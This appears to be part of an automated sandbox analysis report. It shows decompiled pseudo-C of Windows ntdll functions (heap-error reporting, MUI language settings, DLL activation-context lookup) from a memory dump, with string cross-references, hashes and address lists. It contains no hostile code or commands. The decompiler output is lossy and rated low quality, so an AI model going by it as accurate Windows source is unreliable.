String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: d2d670025c8e3d4fcc5355202e0d0fb277bc755a999c12baaff5152891131f9f
Instruction ID: 29d827d3c95ad8c8c74c803b82c849810337c01773ad262ea21dce883510c4a4
Opcode Fuzzy Hash: d2d670025c8e3d4fcc5355202e0d0fb277bc755a999c12baaff5152891131f9f
Instruction Fuzzy Hash: AD812175E51200FFDB21BB158C96E7B3B36EF86B69F000068F0052B5A3D3618951DBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00A91C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00A91C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x9b48a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E009DB150();
				} else {
					E009DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0xac589c);
				E009DB150("Heap error detected at %p (heap handle %p)\n",  *0xac58a0);
				_t27 =  *0xac5898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M00A91E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E009DB150();
				} else {
					E009DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E009DB150("Error code: %d - %s\n",  *0xac5898);
				_t113 =  *0xac58a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E009DB150();
					} else {
						E009DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E009DB150("Parameter1: %p\n",  *0xac58a4);
				}
				_t115 =  *0xac58a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E009DB150();
					} else {
						E009DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E009DB150("Parameter2: %p\n",  *0xac58a8);
				}
				_t117 =  *0xac58ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E009DB150();
					} else {
						E009DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E009DB150("Parameter3: %p\n",  *0xac58ac);
				}
				_t119 =  *0xac58b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E009DB150();
					} else {
						E009DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0xac58b4);
					E009DB150("Last known valid blocks: before - %p, after - %p\n",  *0xac58b0);
				} else {
					_t120 =  *0xac58b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E009DB150();
				} else {
					E009DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E009DB150("Stack trace available at %p\n", 0xac58c0);
			}

0x00a91c10
0x00a91c16
0x00a91c1e
0x00a91c3d
0x00a91c3e
0x00a91c20
0x00a91c35
0x00a91c3a
0x00a91c44
0x00a91c55
0x00a91c5a
0x00a91c65
0x00a91c67
0x00000000
0x00a91c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00a91c67
0x00a91cdc
0x00a91ce5
0x00a91d04
0x00a91d05
0x00a91ce7
0x00a91cfc
0x00a91d01
0x00a91d0b
0x00a91d17
0x00a91d1f
0x00a91d25
0x00a91d30
0x00a91d4f
0x00a91d50
0x00a91d32
0x00a91d47
0x00a91d4c
0x00a91d61
0x00a91d67
0x00a91d68
0x00a91d6e
0x00a91d79
0x00a91d98
0x00a91d99
0x00a91d7b
0x00a91d90
0x00a91d95
0x00a91daa
0x00a91db0
0x00a91db1
0x00a91db7
0x00a91dc2
0x00a91de1
0x00a91de2
0x00a91dc4
0x00a91dd9
0x00a91dde
0x00a91df3
0x00a91df9
0x00a91dfa
0x00a91e00
0x00a91e0a
0x00a91e13
0x00a91e32
0x00a91e33
0x00a91e15
0x00a91e2a
0x00a91e2f
0x00a91e39
0x00a91e4a
0x00a91e02
0x00a91e02
0x00a91e08
0x00000000
0x00000000
0x00a91e08
0x00a91e5b
0x00a91e7a
0x00a91e7b
0x00a91e5d
0x00a91e72
0x00a91e77
0x00a91e95

Strings

Last known valid blocks: before - %p, after - %p, xrefs: 00A91E45
Heap error detected at %p (heap handle %p), xrefs: 00A91C50
Error code: %d - %s, xrefs: 00A91D12
heap_failure_generic, xrefs: 00A91C7C
heap_failure_unknown, xrefs: 00A91C75
heap_failure_multiple_entries_corruption, xrefs: 00A91C8A
heap_failure_buffer_overrun, xrefs: 00A91C98
Stack trace available at %p, xrefs: 00A91E86
heap_failure_cross_heap_operation, xrefs: 00A91CC2
heap_failure_lfh_bitmap_mismatch, xrefs: 00A91CD7
HEAP[%wZ]: , xrefs: 00A91C30, 00A91CF7, 00A91D42, 00A91D8B, 00A91DD4, 00A91E25, 00A91E6D
heap_failure_virtual_block_corruption, xrefs: 00A91C91
heap_failure_buffer_underrun, xrefs: 00A91C9F
heap_failure_internal, xrefs: 00A91C6E
Parameter2: %p, xrefs: 00A91DA5
heap_failure_invalid_argument, xrefs: 00A91CAD
heap_failure_listentry_corruption, xrefs: 00A91CD0
heap_failure_usage_after_free, xrefs: 00A91CBB
Parameter3: %p, xrefs: 00A91DEE
heap_failure_freelists_corruption, xrefs: 00A91CC9
heap_failure_entry_corruption, xrefs: 00A91C83
heap_failure_block_not_busy, xrefs: 00A91CA6
HEAP: , xrefs: 00A91C16, 00A91C3D, 00A91D04, 00A91D4F, 00A91D98, 00A91DE1, 00A91E32, 00A91E7A
Parameter1: %p, xrefs: 00A91D5C
heap_failure_invalid_allocation_type, xrefs: 00A91CB4

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: 5a6d08c6833b10d6a2d1982f3d132b57256fa36c3eeed728c59c6553fd14072d
Instruction ID: 06f2c09bddfe801d5ca8c529bf8b1106f7aec991da8317b53075a745be5da81b
Opcode Fuzzy Hash: 5a6d08c6833b10d6a2d1982f3d132b57256fa36c3eeed728c59c6553fd14072d
Instruction Fuzzy Hash: EA612736E94646DFCB119B94D995F3073F4EB44B31B1A803EF40A6B351C734AC819B0A

Uniqueness

Uniqueness Score: -1.00%

Function 009E3D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E009E3D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E009E1B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E009E1B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E009E1B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E009E1B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E009E1B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L009F4620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E00A1F3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E00A21370(_t276, 0x9b4e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E00A1BB40(0,  &_v68, _t170);
									if(L009E43C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E00A1BB40(_t257,  &_v68, _t243);
								if(L009E43C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E00A21370(_t278, 0x9b4e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L009F4620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E00A1F3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E00A21370(_v16, 0x9b4e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E00A1BB40(_t262,  &_v68, _t244);
								if(L009E43C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E00A21370(_t282, 0x9b4e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E00A1BB40(_t262,  &_v68, _t201);
							if(L009E43C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L009F4620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E00A1F3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E00A21370(_t280, 0x9b4e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E00A1BB40(_t267,  &_v68, _t245);
							if(L009E43C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E00A21370(_t284, 0x9b4e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E00A1BB40(_t267,  &_v68, _t224);
						if(L009E43C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x009e3d3c
0x009e3d42
0x009e3d44
0x009e3d46
0x009e3d49
0x009e3d4c
0x009e3d4f
0x009e3d52
0x009e3d55
0x009e3d58
0x009e3d5b
0x009e3d5f
0x009e3d61
0x009e3d66
0x00a38213
0x00a38218
0x009e4085
0x009e4088
0x009e408e
0x009e4094
0x009e409a
0x009e40a0
0x009e40a6
0x009e40a9
0x009e40af
0x009e40b6
0x009e40bd
0x009e40bd
0x009e3d83
0x00a3821f
0x00a38229
0x00a38238
0x00a38238
0x00a3823d
0x00a3823d
0x009e3da0
0x009e3daf
0x009e3db5
0x009e3dba
0x009e3dba
0x009e3dd4
0x009e3e94
0x009e3eab
0x009e3f6d
0x009e3f84
0x009e406b
0x009e406b
0x009e406e
0x009e406e
0x009e4070
0x009e4074
0x00a38351
0x00a38351
0x009e407a
0x009e407f
0x00a3835d
0x00a38370
0x00a38377
0x00a38379
0x00a3837c
0x00a3837c
0x00a3835d
0x00000000
0x009e407f
0x009e3f8a
0x009e3f8d
0x009e3f90
0x009e3f95
0x00a3830d
0x00a3830f
0x009e3f9b
0x009e3fac
0x009e3fae
0x009e3fb1
0x009e3fb1
0x009e3fb6
0x00a38317
0x00a3831a
0x00000000
0x009e3fbc
0x009e3fc1
0x009e3fc9
0x009e3fd7
0x009e3fda
0x009e3fdd
0x009e4021
0x009e4021
0x009e4029
0x009e4030
0x009e4044
0x009e4046
0x009e4046
0x009e4044
0x009e4049
0x00a38327
0x00a38334
0x00a38339
0x00a3833c
0x009e404f
0x009e404f
0x009e404f
0x009e4051
0x009e4056
0x009e4063
0x009e4063
0x009e4068
0x00000000
0x009e4068
0x009e3fdf
0x009e3fe2
0x009e3fe4
0x009e3fe7
0x009e3fef
0x009e4003
0x009e4005
0x009e4005
0x009e400c
0x009e4013
0x009e4016
0x009e4017
0x009e401b
0x009e401e
0x00000000
0x009e401e
0x009e3fb6
0x009e3eb1
0x009e3eb4
0x009e3eb7
0x009e3ebc
0x00a382a9
0x00a382ab
0x009e3ec2
0x009e3ed3
0x009e3ed5
0x009e3ed8
0x009e3ed8
0x009e3edd
0x00a382b3
0x00a382b6
0x00000000
0x009e3ee3
0x009e3ee8
0x009e3eed
0x009e3ef0
0x009e3ef3
0x009e3f02
0x009e3f05
0x009e3f08
0x00a382c0
0x00a382c3
0x00a382c5
0x00a382c8
0x00a382d0
0x00a382e4
0x00a382e6
0x00a382e6
0x00a382ed
0x00a382f4
0x00a382f7
0x00a382f8
0x00a382fc
0x00a382ff
0x00a382ff
0x009e3f0e
0x009e3f11
0x009e3f16
0x009e3f1d
0x009e3f31
0x00a38307
0x00a38307
0x009e3f31
0x009e3f39
0x009e3f48
0x009e3f4d
0x009e3f50
0x009e3f50
0x009e3f53
0x009e3f58
0x009e3f65
0x009e3f65
0x009e3f6a
0x00000000
0x009e3f6a
0x009e3edd
0x009e3dda
0x009e3ddd
0x009e3de0
0x009e3de5
0x00a38245
0x009e3deb
0x009e3df7
0x009e3dfc
0x009e3dfe
0x009e3e01
0x009e3e01
0x009e3e06
0x00a3824d
0x00a3824f
0x00a38254
0x00000000
0x009e3e0c
0x009e3e11
0x009e3e16
0x009e3e19
0x009e3e29
0x009e3e2c
0x009e3e2f
0x00a3825c
0x00a3825f
0x00a38261
0x00a38264
0x00a3826c
0x00a38280
0x00a38282
0x00a38282
0x00a38289
0x00a38290
0x00a38293
0x00a38294
0x00a38298
0x00a3829b
0x00a3829b
0x009e3e35
0x009e3e38
0x009e3e3d
0x009e3e44
0x009e3e58
0x00a382a3
0x00a382a3
0x009e3e58
0x009e3e60
0x009e3e6f
0x009e3e74
0x009e3e77
0x009e3e77
0x009e3e7a
0x009e3e7f
0x009e3e8c
0x009e3e8c
0x009e3e91
0x00000000
0x009e3e91

Strings

Kernel-MUI-Language-Disallowed, xrefs: 009E3E97
WindowsExcludedProcs, xrefs: 009E3D6F
Kernel-MUI-Language-Allowed, xrefs: 009E3DC0
Kernel-MUI-Language-SKU, xrefs: 009E3F70
Kernel-MUI-Number-Allowed, xrefs: 009E3D8C

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: ec443277879c0315bd621022b8c7a378d548ca8e926adce7614c2d22a4e0839c
Instruction ID: e387f090c17545bb6b70f1f5fffd950353a4be21b4215a068558837dea77039f
Opcode Fuzzy Hash: ec443277879c0315bd621022b8c7a378d548ca8e926adce7614c2d22a4e0839c
Instruction Fuzzy Hash: E1F14972D10258EFCB12DF99C980AEEBBB9FF48750F14446AF505A7211EB349E01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 009D40E1, Relevance: 6.3, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E009D40E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E009DB150();
					} else {
						E009DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E009DB150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E009DB150(", passed to %s", _t29);
					}
					_push("\n");
					E009DB150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0xac6378 = 1;
						asm("int3");
						 *0xac6378 = 0;
					}
					return 0;
				}
				return 1;
			}

0x009d40e6
0x009d40e8
0x009d40f1
0x00a3042d
0x00a3044c
0x00a30451
0x00a3042f
0x00a30444
0x00a30449
0x00a3045d
0x00a30466
0x00a3046e
0x00a30474
0x00a30475
0x00a3047a
0x00a3048a
0x00a3048c
0x00a30493
0x00a30494
0x00a30494
0x00000000
0x00a3049b
0x00000000

Strings

, passed to %s, xrefs: 00A30469
RtlAllocateHeap, xrefs: 00A30468
Invalid heap signature for heap at %p, xrefs: 00A30458
HEAP[%wZ]: , xrefs: 00A3043F
HEAP: , xrefs: 00A3044C

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlAllocateHeap
API String ID: 0-188067316
Opcode ID: ae373d38883a7742739067a316389a7b7351384a0c579d06962750b9de256cf3
Instruction ID: 65afb0628b97fec276472c9f0ebb38218ba940e277de7d342a2c6598d65747ca
Opcode Fuzzy Hash: ae373d38883a7742739067a316389a7b7351384a0c579d06962750b9de256cf3
Instruction Fuzzy Hash: C101FC32148291DED3199B68E52EFD277F4DB81F34F2AC06EF1059B781CBA8A840C115

Uniqueness

Uniqueness Score: -1.00%

Function 00A08E00, Relevance: 5.1, Strings: 4, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00A08E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0xacd360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0xac8464; // 0x73b80110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0xac5780 & 0x00000003) != 0) {
							E00A55510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0xac5780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E00A1B640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0xac7984; // 0x4a2bd0
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0xac8464; // 0x73b80110
					 *0xacb1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E00A09B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0xac5780 & 0x00000005) != 0) {
						_push(_t49);
						E00A55510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x00a08e0f
0x00a08e16
0x00a08e19
0x00a08e1b
0x00a08e21
0x00a08e7f
0x00a08e85
0x00a49354
0x00a4936c
0x00a49371
0x00a4937b
0x00a49381
0x00a49381
0x00a4937b
0x00a08e9d
0x00a08e9d
0x00a08e29
0x00a08e2c
0x00a08e38
0x00a08e3e
0x00a08e43
0x00a08eb5
0x00a08eb9
0x00a492aa
0x00a492af
0x00a492e8
0x00a492e8
0x00a492af
0x00a08eb9
0x00a08e45
0x00a08e53
0x00a08e5b
0x00a08e5f
0x00a08e78
0x00a08e78
0x00a08e7d
0x00a08ec3
0x00a08ecd
0x00a08ed2
0x00a08ed2
0x00a08ec5
0x00a08ec5
0x00000000
0x00a08e7d
0x00a08e67
0x00a08ea4
0x00a4931a
0x00000000
0x00000000
0x00a49320
0x00a08ea4
0x00a08e70
0x00a49325
0x00a49340
0x00a49345
0x00a49345
0x00a08e76
0x00000000
0x00000000
0x00000000
0x00000000

Strings

Querying the active activation context failed with status 0x%08lx, xrefs: 00A49357
minkernel\ntdll\ldrsnap.c, xrefs: 00A4933B, 00A49367
LdrpFindDllActivationContext, xrefs: 00A49331, 00A4935D
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 00A4932A

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 0-3779518884
Opcode ID: 874821e954ce6cf8b68d660e842f2d05ff0780fe02ea69b4aec085be20786b3e
Instruction ID: 9a13edb6ec335dc676ffaff39d40be3ce4e69ed2bd41e134d42251d7ffa81bc3
Opcode Fuzzy Hash: 874821e954ce6cf8b68d660e842f2d05ff0780fe02ea69b4aec085be20786b3e
Instruction Fuzzy Hash: 53412A31A0031D9FDB34AB58EC8DAB677B4BB55758F064169E884571D1EF78ECC08285

Uniqueness

Uniqueness Score: -1.00%

Function 00A949A4, Relevance: 5.1, Strings: 4, Instructions: 114COMMON

Download Yara Rule

Strings

This is located in the %s field of the heap header., xrefs: 00A94AD6
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 00A94A61
HEAP[%wZ]: , xrefs: 00A94A3D, 00A94AB7
